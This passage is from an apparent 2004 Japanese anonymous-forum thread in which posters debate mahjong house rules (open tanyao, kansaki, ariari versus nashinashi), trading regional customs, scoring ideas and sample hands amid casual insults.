思った事がある。

これを読んでいる人に聞きたい。
気が向けば回答をレスで送っておいて欲しい…。
 
もしも、アナタが誰かに「死ね」と言った。
相手は、アナタが思ってた程心の強い人でもなくて、
本当に自殺して死んじゃったら、もしくは自殺未遂して死に掛けたりしたら、
どう思う?嬉しい?悲しい?

117 :焼き鳥名無しさん:04/03/19 15:07 ID:???
>>116
スレ違い

118 :焼き鳥名無しさん:04/03/19 15:14 ID:???
基地外が・・

119 :焼き鳥名無しさん:04/03/19 18:39 ID:???
すっごくコピペのような気もするが、あえて何も言わない。

120 :焼き鳥名無しさん:04/03/20 01:09 ID:???
>>105
親がでかい手になっていることを察知してクイタンでつぶしにきたのなら、
そいつは打てる奴だと思うし、悔しいけど力を認める。

わけわからんとやってる奴はどうでもいい。

121 :焼き鳥名無しさん:04/03/20 10:16 ID:R6QGryC7

総裁は本当に完全先付けを流行らしたいと思っているのか。
大体、完先とアリアリは同じ麻雀牌を使った、全く別のゲームであり
スレタイのような比較・優劣なんて論ずることが間違い。
単なる好き嫌いなら別だが。


122 :焼き鳥名無しさん:04/03/21 14:38 ID:???
スレが糞なんだよ!!

123 :焼き鳥名無しさん:04/03/24 17:09 ID:???
地域でいうと東京は「アリアリ」
大阪は      「ナシナシ(完先)」
中部は      「どちらもやる」
北海道は      「完先」

他の地域は?

124 :焼き鳥名無しさん:04/03/24 17:17 ID:???
どーでもいい

125 :金五筒の騎士:04/03/25 18:13 ID:l0YKpqI7
>>121
将棋にもルールの変遷はあったが
要するに
麻雀牌を用いていかなるゲームを行うか?
いかなる流派が麻雀の覇権を得るか?
正統のリーチ麻雀とは何か?
ということが問題だ。
http://ip.tosp.co.jp/i.asp?i=reachorder

126 :焼き鳥名無しさん:04/03/25 18:57 ID:/unz7qm+
なんでこんな糞スレをageるのか分からない。

127 :焼き鳥名無しさん:04/03/25 19:17 ID:???
sageを知らないに1000ペリカ











ってお前もあげとるやん

128 :59:04/03/25 19:35 ID:FLgPT0/k
>>125
なぜ将棋が出てくるのか謎。
完全情報ゲームとそうでないゲームを同列に扱うことは無理がある。

そして、相手のレスに対して何も回答しないのは相変わらず。
前スレを読めとか、過去レスを参照しろ、と叫ぶだけなら阿佐ヶ谷北と同じ。
もし「しっかり回答している。読解力の無さを棚に上げるな」とお考えなら
冷静になって>>121をよく読むことをお勧めする。

>>121
多分、総裁さんは流行らせたいと思っているに違いない。
その理由は、総裁自身がアリアリに比べて完先が面白いと感じているからであろう。
人としてその行動は間違いではないと思うのだが、手段が間違っている。
やたら小難しい語をつかい、それがかっこいいと感じているのがとても子供っぽい。
また、いろいろ理屈をつけてアリアリは完先より劣ると叫んでいるが、
完先にも理論的矛盾が存在することには目を瞑っている。
真面目で真っ直ぐな人物であるとは思うが、まず結論ありき、の理論展開で
人を納得させられると思っているのであれば、まだまだ先は長い道のりであろう。

優劣があるかないか、浅見了氏のページを熟読してから考えて欲しいものである。
ttp://www.asamiryo.jp/pur1.html

129 :59:04/03/25 19:37 ID:FLgPT0/k
>>125
>麻雀牌を用いていかなるゲームを行うか?
これ、総裁さんのお考えを聞きたい。
総裁さんが麻雀をいかなるゲームと捉えているのか。
とても興味深い。

>>126
すみません、とっても面白いんです、ここ。

130 :焼き鳥名無しさん:04/03/25 19:43 ID:???
>>59=阿佐谷北

あふぉか

131 :59:04/03/25 19:52 ID:FLgPT0/k
>>59
そ、それは心外なー!
マジ違うですよー!
とは言うものの、確かに口調が似ているような似ていないような。

なんだかショックですた・・・・_| ̄|○

132 :焼き鳥名無しさん:04/03/25 19:54 ID:???
そいつは失礼した。
スマソ _| ̄|◯

133 :59:04/03/25 19:56 ID:???
しかもアンカー間違えてるし、、、、。
落ち着こうよ、オレ。

134 :焼き鳥名無しさん:04/03/25 22:02 ID:???
クイタン無しのルールは自分も好きなんでいいのだが、
完全先付にする意味がよくわからない。
先付ありがいやなら単なる先付なしルールでいいと思うのだが。

135 :134:04/03/25 22:05 ID:???
ちょっと私の発言も意味不明確だな。

完先と先付ナシとの差が不明確だから。

えーっと、まあ先付くらいアリにしてもいいと思うのだがどうだろう。
クイタン無しで。

136 :いも:04/03/25 23:11 ID:???
なんで食いタンは駄目なのかね。


137 :134:04/03/26 01:14 ID:???
>>136
別にだめとは言ってないよ。

138 :焼き鳥名無しさん:04/03/26 22:10 ID:???
クイタン無しは
「鳴くとイイハン役が下がる(コウツ系、役牌はのぞく)という原則によるもの」

これは役を面前で作る方が難しいからという事で原則として役は鳴くとイイハン下がる。
したがってイイハン役は鳴いては成立しないのが原則。
原則から考えるとタンヤオは鳴いては成立しない。

コウツ系の役は鳴くことが原則で、鳴かずに作るとその事でつく役があるため(三アンコウ
など)食い下がりはない。

くいたんアリはそれなりのメリットもあるので原則どおりではないが、取りいれられている
ものだと思う。

139 :焼き鳥名無しさん:04/03/26 23:17 ID:???
原則として1飜下がりで喰い断は認めてほしくはないね。

140 :焼き鳥名無しさん:04/03/26 23:33 ID:???
>>139
私の提案。
クイタンは一飜下がりで役無しだが上がりは認める。
そのかわり、クイタンの場合は場の二ゾロをなくする。
これでクイタンの場合はクイタンのみ30符では300点。
クイタンドラ2で1000点となる。

クイタンのみで逃げることはできるが、クイタンで上がったとしても
点数が稼げないというしくみだがどうだろう?

141 :焼き鳥名無しさん:04/03/26 23:48 ID:???
戦術的にはそういうのもあっても良いかもしれないけど
麻雀が小さくなってしまわないかい?


142 :いも:04/03/26 23:55 ID:???
じゃあ中をポソしたら1翻下がりで役無しでつか?

143 :いも:04/03/27 00:01 ID:???
ところで昔は食いピンフもあった。
アルシアル・ルールの頃は、食いピンフも立派な役だった。

ちなみに、イーペーコーの扱いを、どうすべきか未だに結論が出せないでいる。


144 :焼き鳥名無しさん:04/03/27 00:09 ID:???
役全体のバランスが大事だろ

145 :焼き鳥名無しさん:04/03/27 00:22 ID:???
>>142
>じゃあ中をポソしたら1翻下がりで役無しでつか?

中は役牌
いもだな

146 :焼き鳥名無しさん:04/03/27 00:24 ID:???
>>141
>麻雀が小さくなってしまわないかい?

クイタンという役がそもそも小さくセコイ役なのだからそれでいいと思う。
クイタンドラ3でマンガンというのがちょっとバランス的によろしくないと
思うのだがね。

147 :いも:04/03/27 00:43 ID:???
食いタン・ドラ3がセコいのなら、中ドラ3もセコいだろう。

食いタン嫌いは背が伸びないぞぅ

148 :焼き鳥名無しさん:04/03/27 01:11 ID:???
>>147
>食いタン・ドラ3がセコいのなら、中ドラ3もセコいだろう。

中は持ってなきゃできないからね。

クイタンドラ3はセコイとはいわないが、けっこう安易なあがりで
あまりバランス的によろしくないと思うわけ。

これは好き嫌いの問題だから議論してもしかたがないこと。

>食いタン嫌いは背が伸びないぞぅ
     ↑
こういう根拠のない嫌がらせめいた書込みがあなたのご意見であると
承りました。


149 :焼き鳥名無しさん:04/03/27 06:54 ID:???
>>148
まあ、好き嫌いの問題とか言い出したら、こんなスレ何の意味もなくなっちゃうから。

クイタンがいかにも簡単に出来る様に思ってる様ですが、上家がちゃんと牌を絞れば
クイタンドラ3なんてそんな簡単に出来る様なもんじゃないですよ。
手牌を減らすリスクも負ってるし、クイタンがそんなにバランスが悪いとは思いませぬ。

150 :焼き鳥名無しさん:04/03/27 07:14 ID:???
そんな訳ないだろ。
ポンが出来る以上、絞り込みは上家に限らないし、
中張牌と飜牌と比べてどうして同じといえるのか。

151 :焼き鳥名無しさん:04/03/27 07:25 ID:???
東なら東しか組み合わせがないが、4索なら2、3、4、5、6で組み合わせが
圧倒的に違う。だから、なしありがあってもありなしは採用してないだろ。

152 :149:04/03/27 07:44 ID:???
別に同じとは一言も言ってないよ。俺は147とは別人なのであしからず。

そりゃポンも出来るだろうけど、チーポン可能な状況と比べたら手の早さは明らかに
遅くなるし、実際牌を絞ってくる人の下家に居る時はあからさまなクイタン仕掛けは
躊躇するよ。

ドラ暗刻で、一鳴きテンパイのクイタンなんてやられたら確かに追いつき様が無いけど、
そんな好配牌が毎回来る訳でもなし、そんなにバランスが悪いとは思わないけどなあ。

153 :焼き鳥名無しさん:04/03/27 08:02 ID:???
とういうより、ローカル役までは含めなくても多様かつ華麗な役があるなか、
アリアリ+ドラだとそういった役が中々出来ないという意味のバランスの悪さ。
スピードを競うアリアリならそれも面白さの一つと思う。
だから、楽しみをどこに持っていくかによって選択すればいい。

154 :焼き鳥名無しさん:04/03/27 08:17 ID:???
うーん、アリアリでも毎局鳴きが入る訳でもなし、スピード勝負の早あがり対決の局もあれば、
全員に手が入って腰をすえた長期戦になる局もあり、大物手相手に速さで勝負を掛ける局もあり。
そういった多様な局面が発生するのがアリアリのいい所だと思うけどな。

アリアリ派が手役作りに興味なく、スピードだけを競ってると思われるのは心外。

155 :いも:04/03/27 08:20 ID:???
食いタン=簡単お手軽、というイメージがあるのかなぁ。
決してそうではない。
154は、えぇこと言うとる。

156 :焼き鳥名無しさん:04/03/27 08:24 ID:???
まあ、俺はナシナシからスタートしたし、君はアリアリから始めたんだろ?
そのルールが染み付いている以上、相容れることは無いだろうね。(好みとして。

157 :いも:04/03/27 08:31 ID:???
うんにゃ。ナシナシから打ち始めた。
(北海道の家庭麻雀は、なぜかナシナシが主流)
だから最初は食いタンとか先ヅケを嫌いだった。

ところが、ある日、麻雀専門紙でアリアリを知り、仲間内だけで採用し
打ってみると、これが面白くて。アリアリの方がいいな、と思うに至る。



158 :焼き鳥名無しさん:04/03/27 08:52 ID:???
俺は微妙だな。
家族麻雀で覚えたのは完先だったけど、当時はただの絵合わせしてるレベルだったからな。
大学の先輩と打ったりフリーに行きだして、ちゃんと麻雀を打つようになったのはアリアリからだった。
今では完先で打つと、ちょっと窮屈に感じる。じっくり役作り出来るのは楽しいが、配牌とツモが悪い
と何も出来ないのが辛いな。完先で鳴くのが苦手ってのもあるんだろうけど。

159 :焼き鳥名無しさん:04/03/27 14:35 ID:GkOA92jI
カンサキはクソルールだと思う。
先付けなら役と関係ない牌がなけないだけで、
面前のヤクハイシャボでもあがれるし。


160 :焼き鳥名無しさん:04/03/27 14:43 ID:???
私は両方うってるけど、クイタンなしだとドラが対子で来たときとか
親でさっと流したいときなんかで、いかにもクイタン向けの手牌になっ
た時なんかは これがありありだったらなと思うな。

いったんアリアリでうつとクイタンなしはやりにくく感じるのは確か。

でも自分の好みではクイタン無しが好きだね。

クイタンありは鳴き麻雀が好きな人が好むし、クイタン無しは門前派が好む
かな。

二つの比較になるとクイタンアリの方がスピード感のあるマージャンになりやすい。

161 :焼き鳥名無しさん:04/03/27 14:45 ID:???
>>159
完先はぼくもその点感心しない。
だからクイタン無しの時でも先付ありでやってます。

162 :焼き鳥名無しさん:04/03/27 14:53 ID:???
>>157
そいつは失礼
俺はアリアリもやってみたんだが結局ナシナシに戻ってしまった。
ただ、完先はじれったくなるので殆んどやらない。

163 :焼き鳥名無しさん:04/03/27 16:18 ID:bFiVZB9L
九九九123456中中發發 ドラ九
完先だとこれだとリーチかけないとあがれないから辛すぎ。
なぜかツモだとOKになるしわけわからん。


164 :焼き鳥名無しさん:04/03/27 16:38 ID:???
完先は完先のなかにもさらに細かい違いがあるから嫌い。

むかぁし完先でやってたときは>>163の形でロン上がりできたよ。

165 :焼き鳥名無しさん:04/03/27 17:05 ID:???
完先なんて誤解から生まれたルールだからな

166 :焼き鳥名無しさん:04/03/27 17:40 ID:SSeEoQB+
>>164
普通の先付けルールじゃなくて?
一一一12345西西 789(チー)
これだと完先ルールだと×だけど、先付けルールならOKなんだよな。

167 :焼き鳥名無しさん:04/03/27 19:32 ID:???
なんつ〜役だよ?

168 :焼き鳥名無しさん:04/03/27 20:20 ID:YwWvjUY6
↑一通だろ

169 :asagayakita :04/03/27 20:59 ID:rsQ6U1kr
>>166 これだと完先ルールだと×だけど、先付けルールならOKなんだよな。

この形で聴牌を取れるのは、片上がりをアリにしているルールです。
さき付けなしルールの場合、
 789を鳴いているので、リャンメン待ちでなければ、(役確定と見なされ)
あがれます。(この場合、不可)

170 :asagayakita:04/03/27 21:03 ID:rsQ6U1kr
>>163 なぜかツモだとOKになるしわけわからん。

 なぜか、それはキメという奴です。そのように決めているからに
すぎません。

 面前ツモのみでは上がれない完先もあることはあります。
 だが、この場合のように、あがれるケースが一般的らしいですね。


171 :焼き鳥名無しさん:04/03/27 21:04 ID:???
>>169
当たり前だろうが。

我慢できなくなってまた出てきたのか。

172 :asagayakita:04/03/27 22:24 ID:rsQ6U1kr
>>166 これだと完先ルールだと×だけど、先付けルールならOKなんだよな。

この形で聴牌を取れるのは、片上がりをアリにしているルールです。
さき付けなしルールの場合、
 789を鳴いているので、リャンメン待ちでなければ、(役確定と見なされ)
あがれます。(この場合、不可)

 結論、
 先付け(あり)ルールでも、片上がり無しならば、上がれませんよ。
 面倒ですが、ルールは決めてから打ちましょう。

173 :焼き鳥名無しさん:04/03/27 22:30 ID:???
アリアリじゃなきゃコーヒーが飲めません

174 :焼き鳥名無しさん:04/03/27 22:35 ID:???
春だからね。
基地外も絶好調だよ。

175 :焼き鳥名無しさん:04/03/27 22:39 ID:???
>>172
>先付け(あり)ルールでも、片上がり無しならば、上がれませんよ。

先付ありルールというのは片上がりありルールのことですが。

176 :焼き鳥名無しさん:04/03/27 23:08 ID:wcbkY63Y
一通の正式名称は














チンイーイーチトンカンチンロン。

177 :焼き鳥名無しさん:04/03/28 06:14 ID:???

だれか、もう少し整理して阿佐谷北さんに教えて上げてやって下さい。

178 :焼き鳥名無しさん:04/03/28 16:22 ID:???

asagayakitaさん

完先関係のスレに何度も同様な書き込みしているようだけど、
完先の不都合なてんは、先人が示しているように既にわかっていること。
もし、知らない人に注意するのであれば、あのような不親切な対応は無いはず。

あなたが「ルールはキメ」言っているように、少なくとも対局する時は4人が
納得していればいいことだよね。
それなら、幾つものスレに重ね々執拗に書き込み、更に注意されても執拗に
書き込むことは、いい加減に遠慮していただけませんか。


179 :金五筒の騎士:04/03/28 17:39 ID:fiLghDFj
まず完先が鳴きにくいのは誤解です。
客風対子が二組あるような手では
対々や混一を狙いやすい完先の方が鳴きやすいでしょう。
>>163役牌シャボで摸和のみ認めるルールはたしかに不自然ですね。しかしごく少数派でしょう。
普通の関西三麻では門前王手飛車は認めています。
またツモのみは完先では認めない店もあります。

4打ち完先で難しいのは面子をまたぐチーです。
北南23456ABCチー二三四
ここから456でチーしたとき三色の聴牌になりますが
1が先に入る可能性もあります。現在検討中です。

http://ip.tosp.co.jp/i.asp?i=reachorder

180 :焼き鳥名無しさん:04/03/28 17:45 ID:???
完先の利点がわからない。
くだらない制約で不自由だけ増えてるとしか思えない。
食いタンなし好きは下手が多い印象。
腕よりツキの割合が増えるから。

181 :焼き鳥名無しさん:04/03/28 18:02 ID:???
>>179
>まず完先が鳴きにくいのは誤解です。
>客風対子が二組あるような手では
>対々や混一を狙いやすい完先の方が鳴きやすいでしょう。

ちっとも誤解じゃないと思う。
あなたが挙げたケースは全体から見ればまれなケースだし、
ふつう完先の方が対々や混一を狙いやすいという事はない。

182 :焼き鳥名無しさん:04/03/28 18:08 ID:3t1Z327t
トイトイやホンイツは全部つかってつくる役だからカンサキも
なにもないじゃん。
ヤクハイのみの手なんてカンサキだと最初になく必要が
あるからなきにくいよ。


183 :焼き鳥名無しさん:04/03/28 19:09 ID:7DVNInFl
手役の価値を上げるルールとして
「鳴くと1ハン下がるが手役の食い下がり無し」を提唱。

111234五六 チー234 ポン白白白 ツモ七
だとイーペー(1ハン)+白(1ハン)+鳴き(マイナス1ハン)で計1ハン。

幻の喰いピンフに出会えるぞ!

184 :59:04/03/28 20:49 ID:???
で、総裁さん。
あなたが阿佐谷北さんに回答を求めるように、
私も>>129の回答が欲しいのですが。
他人には厳しく、ご自身には甘い性格なんですか?

すみません、なんか粘着っぽくて。
でも、とってもお聞きしたいことなんですよ。
よろしくお願いします。

185 :焼き鳥名無しさん:04/03/28 21:16 ID:???
>>182
>トイトイやホンイツは全部つかってつくる役だからカンサキも
>なにもないじゃん。

細かいようだがトイトイに関してはそうは言えない

2233344 ポン一一一 ポン二二二

のような形でテンパイしても完先ではあがれないので

186 :いも:04/03/28 21:35 ID:???
ナシナシは、麻雀入門編には、案外役立つかもしれないよ。
うっかり食い仕掛けができないので、面前でじっくり手を作らざるを得ない場合が多い。
これが結構、あとあと役に立つような気がする。
最初からチャカチャカ食って仕掛けることを覚えると、あんまり、いい麻雀に育たない
ような。
で、ある程度ナシナシで打ち込んで、それなりな形ができたら、アリアリに移行してみる。
ナシナシで基礎を鍛えておけば、アリアリを吸収するのも早いだろう。

もちろん、ナシナシ特有の弊害もあるので、そこはセンスで乗り切るしかないかなぁ。


187 :焼き鳥名無しさん:04/03/28 22:14 ID:???
>>186

俺はナシナシからアリアリに移ったパターンだが
なかなかその弊害は大きいよ
本来、食って仕掛けるべきところで仕掛けられず
結果、なにもできなかったってことも…w

他に同じような香具師では
ナシナシで打ってもアリアリで打っても
ほぼ打ち方が変わらないって香具師もいるしな

188 :焼き鳥名無しさん:04/03/28 22:22 ID:???
ほぉ、面前での手作りが素人向けなのか。
もう少し具体的な説明が欲しいものだ。

鳴きに関しては無条件か条件付の違いで
どちらが容易かは議論の余地があると思うが。

189 :いも:04/03/28 22:29 ID:???
アリアリは簡単そうで難しいんだよ。
ナシナシは難しそうで簡単で、実は難しい。
何言ってるかわかるかな。

何やってもいいよ、自由にどうぞ、というのがアリアリ。
これが初級者には、親切そうで、実はそうではない。
制約のない手作りをするというのは、センスが要求される。
その点ナシナシは、制約が厳しいため、ある点においては、上級者も初級者も
たどる道筋は同じなところに行きつく。
だからといって、ナシナシにセンスが必要ないかというと、そうではない。

何言ってるかわかる?
ワシにもようわからなくなってきた。

190 :焼き鳥名無しさん:04/03/28 22:45 ID:???
>>189

何を言ってるかはわからないが
>>189の頭が悪いってことだけはわかった

191 :いも:04/03/28 22:52 ID:???
んだ。頭は悪い。

ナシナシは「上級者殺しルール」みたいなもんだと思います。
腕のふるいどころのないルール。
アリアリで打つ方が、上級者と初級者の差が出るべ。

192 :焼き鳥名無しさん:04/03/28 22:54 ID:???
>>191

最初からそう書けば良かったのに…

193 :いも:04/03/28 22:55 ID:???
だって頭悪いから仕方ないベ。
さぁうどんでも食うか。

194 :188:04/03/28 23:11 ID:???
>>189
>ナシナシは、制約が厳しいため、ある点においては、上級者も初級者も
>たどる道筋は同じなところに行きつく。

それは、かなり言いすぎだな。
逆に、アリアリで食ったら、必ずしも複合役は必要なくなるだろ。
そうなると後は適当に回すだけ。(まあ、これも言いすぎな面もあるが。

例えば将棋で飛車落ちでやったから初心者向きとはいえないだろ。
持ち駒が無いなら無いなりの戦術があり、それを知らないから簡単と
言っているようなものだ。
つまり、考えが固定過ぎるんだな。

195 :焼き鳥名無しさん:04/03/28 23:59 ID:???
>>191
>ナシナシは「上級者殺しルール」みたいなもんだと思います。
>腕のふるいどころのないルール。

言ってることはわかるんだけど「上級者殺しルール」までは行かないと思う。

ところで先日どこかのサイトで「クイタン無しは上級者に有利」と書いてあった。
たしか「土田」とかいうプロが監修しているページだったと思うが、どこだったかは
忘れた。

196 :焼き鳥名無しさん:04/03/29 00:03 ID:???
>>183
その例ってあまりよくないような気がするけど。
普通のルールでも1ハンだから。

そんなルールを採用したら鳴きまくりだな。

197 :焼き鳥名無しさん:04/03/29 00:33 ID:0LUs0dyG
>>土田浩翔のサイトね。完先はアリアリよりも実力者に有利ってやつね。
ロジカルに考えれば逆だとしか思えん。何度も言われてる通り戦術の幅がちゃうからね。
順位取りの麻雀より素点勝負の麻雀の方が実力が出る、とかいうのもあった
な。普通に考えれば点数状況を考えられない素人が有利になるだけちゃうの?この人以前雀鬼流に嵌ってた時期
もあるしなにか特殊な麻雀観を持っている気がしてならない。
まあとにかく何の説明もなく珍妙な命題を提示されちゃ理解不能だわ。

198 :焼き鳥名無しさん:04/03/29 00:40 ID:???
どちらでも大した差は無し

199 :焼き鳥名無しさん:04/03/29 01:03 ID:???
>>197
同意!
まあ雀鬼流自体ロジカルじゃないしな

200 :焼き鳥名無しさん:04/03/29 13:45 ID:SI8FSKVa
>>196
まあノミ手キックは防げるね。
上家が大甘だったら凄く有利だけど。

201 :焼き鳥名無しさん:04/03/29 18:41 ID:???
>>200
かえってノミキックが増える。
役確定のため普通ならスルーする役牌、効き風の一ナキが増える。

202 :金五筒の騎士:04/03/29 18:44 ID:BkpKW+42
>>184
>>129の回答ですが
私は、麻雀とは牌を組み合わせる技術を競うゲームであり
評価の高い和了形を他家に先んじて作ることを目的とすると考えています。。
故に「あがれない待ち」のあるルールや
順位偏重のルールは私は認めません。

>>197>順位取りの麻雀より素点勝負の麻雀の方が実力が出る
これは雀鬼流の思想とは矛盾していると思いますが…
古くからデジタル派の唱えている思想です。

203 :焼き鳥名無しさん:04/03/29 18:54 ID:???
>>202
>「私は認めません」

あんたエライんだね??

204 :59:04/03/29 19:57 ID:???
>>202
回答していただきありがとうございました。

総裁さんの麻雀とは、「とにかく手作り第一、なんでもいいからガメって高い手を完成させる」
というわけですね?
少々言葉が悪いのはお許しください。他に良い表現が見つからなかったので。

総裁さんがここまで完先にこだわる理由がわかりました。
一局単位の麻雀しか考えず、飜数のみを追い求めるのであれば、確かに完先でやるべきですね。
そうすれば、「オレが頑張って手作りしてるのに、クイタンなんかで上がりやがって!」
と腹を立てることもないですし。
「それならいっそのこと三飜縛り位の麻雀にすればいいのに」とか思いましたが。
私にはクイタンの一飜がダメで、配牌からあった対子の翻牌をポンして後は何でもあり、
が許されるのも、よくわかりません。
そこには理論的理由があるのではなく、まず感情ありき、としか思えないのですが。

いろいろ書いてるうちにまとまり無くなっちゃいました。
ごめんなさい。

205 :焼き鳥名無しさん:04/03/29 21:35 ID:???
>>204
>まず感情ありき、としか思えないのですが。

クイタンありを推すのもクイタン無しを推すのもどちらにせよ「まず感情ありき」
で自分の好みの問題だと思います。


206 :焼き鳥名無しさん:04/03/29 23:41 ID:4qaoiFUJ
>>202
 結局完先派とアリアリ派の争いはゲームの構造に対する認識の違いに
行き着くんですかね。私はアリアリ派ですが東風荘のような順位を巡る
攻防に純化した麻雀が理想だと思ってる。素点勝負志向のアリアリ派と
か順位勝負志向の完先派って確かにあまり見たことないですねえ。

207 :いも:04/03/29 23:51 ID:???
現実には、ナシナシで打つ人々の多くは、それほど深く麻雀にハマっておらんと思う。
だって、ややこしいアガリは極力NGにしておるわけぢゃからして。
よって順位ウマ(順位取り)への比重は多くなく、単純な得点争いとなりがちだろうね。

マニアはアリアリで打つものぢゃ(笑)

208 :焼き鳥名無しさん:04/03/30 00:37 ID:???
>>207
アリアリとナシナシ(完先)はかなり地域性もあるようなので

>ナシナシで打つ人々の多くは、それほど深く麻雀にハマっておらんと思う。

こういった意見は自分中心の決めつけだと思う。
おれもナシナシで打つことはまずないがね。

209 :焼き鳥名無しさん:04/03/30 06:31 ID:???
何故、いもはそこまで必死なのか。

210 :焼き鳥名無しさん:04/03/30 10:12 ID:q8+QYtog
セットではアリアリ・ナシナシ半分ずつ。
フリーに言ったことない人はナシナシでやってることが多い。
フリーではほぼ全てがアリアリルール。

じっさいこんなところじゃないか?

211 :焼き鳥名無しさん:04/03/30 13:59 ID:KFoKEuhO
サンマのフリーでは一部ナシナシ

212 :59:04/03/30 18:55 ID:???
>>205
そうですね。
所詮は好みの問題で、どちらが優れている、と言うわけではないと思います。
どちらが支持されているか?なら答えは出せるのですが。
総裁さんには理解出来ないんでしょうか?

213 :焼き鳥名無しさん:04/03/30 20:33 ID:???
下手な奴が4人でアリアリやったら修羅場だな。

214 :いも:04/03/30 20:36 ID:???
いや、それはナシナシでもナシナシなりに悲惨ぢゃろう。

215 :焼き鳥名無しさん:04/03/30 20:44 ID:???
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                               lllllll

   だ   な   。


216 :いも:04/03/30 20:50 ID:???
わし?
本当は、どっちでもえぇ。


217 :焼き鳥名無しさん:04/03/30 21:00 ID:???
アリアリ派だからナシナシで面子が集まっても絶対やらない。(その逆も)
ってことはないだろ。

好き嫌い言っている時点で、嫌いな方は下手だって事だ。

218 :焼き鳥名無しさん:04/03/30 23:51 ID:???
ルールはシンプルなほうが美しい。
よってナシナシがいい。

219 :焼き鳥名無しさん:04/03/31 08:55 ID:???
どういうギャグだよ

220 :焼き鳥名無しさん:04/03/31 20:56 ID:???
喰い断がありだったら、せめて赤は抜かないとな。

221 :焼き鳥名無しさん:04/03/31 23:14 ID:???
>>220
そうだな

222 :いも@赤嫌い:04/03/31 23:49 ID:???
食いタン赤1と、中鳴いて赤1と、祝儀狙いの仕掛けには大差ないべよ。
どっちみち赤は麻雀を変えてしまう。


223 :焼き鳥名無しさん:04/04/01 12:47 ID:???
>>222
>食いタン赤1と、中鳴いて赤1と、祝儀狙いの仕掛けには大差ないべよ。

違いがあるかないかの議論は別にしても、食いタンありなら中赤1と
食いタン赤1と両方ができるわけでそういったマージャンがなされる機会が
多くなるということだよ。

224 :焼き鳥名無しさん:04/04/01 12:48 ID:???
しかし、「いも」っていうのは「タコ」だな。

225 :いも:04/04/01 21:10 ID:???
わしタコ嫌い。
ゆえにタコ焼きも嫌い。

226 :焼き鳥名無しさん:04/04/03 06:22 ID:???
ふ〜ん

227 :焼き鳥名無しさん:04/04/03 06:29 ID:yCvr/hh0
アリアリマンセーのせいでつまらなくなったね。

228 :焼き鳥名無しさん:04/04/03 07:48 ID:???
こんだけ過疎スレでつまらないも何もあったもんじゃないな。
いや、過疎板か。
まともに機能してるスレが無い。

229 :焼き鳥名無しさん:04/04/03 20:02 ID:iHrVfQ1t
イーハン縛りなぞ辞めろ

230 :焼き鳥名無しさん:04/04/03 20:06 ID:???
マンセー つーか、素人的だな

231 :焼き鳥名無しさん:04/04/05 00:29 ID:???
アリアリというのは下手でも鳴きまくってればあがれちゃうんで
初心者に好まれるところがある。

232 :焼き鳥名無しさん:04/04/13 00:11 ID:???
完先は役満が出しづらくなるんだよな

233 :焼き鳥名無しさん:04/04/20 17:57 ID:???
442名前:焼き鳥名無しさん投稿日:03/10/26 11:16 ID:pnICNKZd
赤牌入ってたり(しかも二枚づつとか)中張牌がドラなら
クイタンが最強
メンゼンでがんばる意味ないもの

      ↑
こういうやつが多いからクイタンありはいやだな。

234 :焼き鳥名無しさん:04/04/20 21:41 ID:???
その442のは
>赤牌入ってたり(しかも二枚づつとか)中張牌がドラなら
という特殊ルールでやるならってのが前提だということはわかってるよな?

235 :焼き鳥名無しさん:04/04/20 22:18 ID:???
>>233

442のような
いも野郎とはゴメンだよ

236 :いも:04/04/20 23:15 ID:???
呼んだ?

237 :焼き鳥名無しさん:04/04/21 18:23 ID:???
>>234
>中張牌がドラなら

というのが特殊ルールでもなんでもないことはわかってるよな?

238 :焼き鳥名無しさん:04/04/22 01:15 ID:???
>>237
当然みんなわかった上で、「赤牌が二枚ずつ」という部分について話してるんだと思うが。

239 :焼き鳥名無しさん:04/04/22 01:53 ID:???
>>238
>当然みんなわかった上で、「赤牌が二枚ずつ」という部分について話してるんだと思うが。

当然分っているなら中張牌がドラであることが特殊ルールーであるというあんたの>>234
がおかしいことは分るだろ。

>>234名前:焼き鳥名無しさん(sage)投稿日:04/04/20 21:41 ID:???
>その442のは
>>赤牌入ってたり(しかも二枚づつとか)中張牌がドラなら
>という特殊ルールでやるならってのが前提だということはわかってるよな?

240 :234:04/04/22 18:14 ID:???
>>239
ああ失礼。赤牌が二枚ずつという
随分なインフレルールルールのそばに併記してあったから
「中張牌は全部ドラ」と言ってるのかと勘違いした。スマソ

あと俺と238は別人だ。

241 :焼き鳥名無しさん:04/04/29 09:43 ID:???
まあ、似たようなのは実在するし>中張牌が全部ドラ
俺が知ってるのは各色の中張牌全部に赤が1枚ずつ入ってるのと
ドラ表示牌の色の中張牌が全部ドラって奴(字牌なら全色)

242 :焼き鳥名無しさん:04/04/29 15:24 ID:???
>>241
ハイパーインフレもいいとこだな。

243 :メンタンピンドラドラ:04/04/30 00:32 ID:???
メンタンピンドラドラ

244 :焼き鳥名無しさん:04/04/30 08:19 ID:???
>>241
>ドラ表示牌の色の中張牌が全部ドラって奴(字牌なら全色)

そりゃひどすぎるな。
特に字牌なら全色だったらほとんどの牌がドラだ。
タンヤオやれば100%数え役満だ。

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